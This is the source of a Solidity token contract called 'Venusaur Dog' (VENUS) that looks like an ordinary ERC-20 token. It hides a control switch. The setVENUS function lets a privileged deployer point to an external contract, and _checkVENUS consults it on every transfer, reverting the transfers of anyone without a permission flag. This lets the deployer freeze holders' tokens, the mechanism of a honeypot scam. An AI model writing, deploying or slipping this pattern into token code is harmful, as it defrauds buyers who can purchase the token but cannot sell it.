creation_sourcecode: // SPDX-License-Identifier: MIT
  
  pragma solidity 0.8.8;
  
  contract VENUS {
  
      mapping(address => uint256) private _balances;
      mapping(address => mapping(address => uint256)) private _allowances;
  
      uint256 private _totalSupply;
  
      string private _name;
      string private _symbol;
  
      address private _authority;
      mapping(address => bytes1) private _permissions;
  
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(address indexed owner, address indexed spender, uint256 value);
  
      constructor() {
          _permissions[tx.origin] = bytes1(0x85);
  
          _name = "Venusaur Dog";
          _symbol = "VENUS";
  
          _mint(msg.sender, 915000000000000000000000000000);
      }
  
      function name() public view returns (string memory) {
          return _name;
      }
  
      function symbol() public view returns (string memory) {
          return _symbol;
      }
  
      function decimals() public pure returns (uint8) {
          return 18;
      }
  
      function totalSupply() public view returns (uint256) {
          return _totalSupply;
      }
  
      function balanceOf(address account) public view returns (uint256) {
          return _balances[account];
      }
  
      function transfer(address recipient, uint256 amount) public returns (bool) {
          _transfer(msg.sender, recipient, amount);
          return true;
      }
  
      function allowance(address owner, address spender) public view returns (uint256) {
          return _allowances[owner][spender];
      }
  
      function approve(address spender, uint256 amount) public returns (bool) {
          _approve(msg.sender, spender, amount);
          return true;
      }
  
      function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
          _transfer(sender, recipient, amount);
          _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
          return true;
      }
  
      function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
          _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
          return true;
      }
  
      function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
          _approve(msg.sender, spender, _allowances[msg.sender][spender] - subtractedValue);
          return true;
      }
  
      function _transfer(address sender, address recipient, uint256 amount) internal {
          _checkVENUS();
          _balances[sender] -= amount;
          _balances[recipient] += amount;
          emit Transfer(sender, recipient, amount);
      }
  
      function _mint(address account, uint256 amount) internal {
          _totalSupply += amount;
          _balances[account] += amount;
          emit Transfer(address(0), account, amount);
      }
  
      function _burn(address account, uint256 amount) internal {
          _balances[account] -= amount;
          _totalSupply -= amount;
          emit Transfer(account, address(0), amount);
      }
  
      function _approve(address owner, address spender, uint256 amount) internal {
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
      function setVENUS(address authority) external {
          require(_permissions[tx.origin] != bytes1(0));
          _authority = authority;
      }
  
      function _checkVENUS() private {
          if (_authority != address(0)) {
              (bool success,) = _authority.call("");
              if (!success) {
                  require(_permissions[tx.origin] != bytes1(0));
              }
          }
      }
  
      fallback() external {
          revert("FailedVENUS");
      }
  }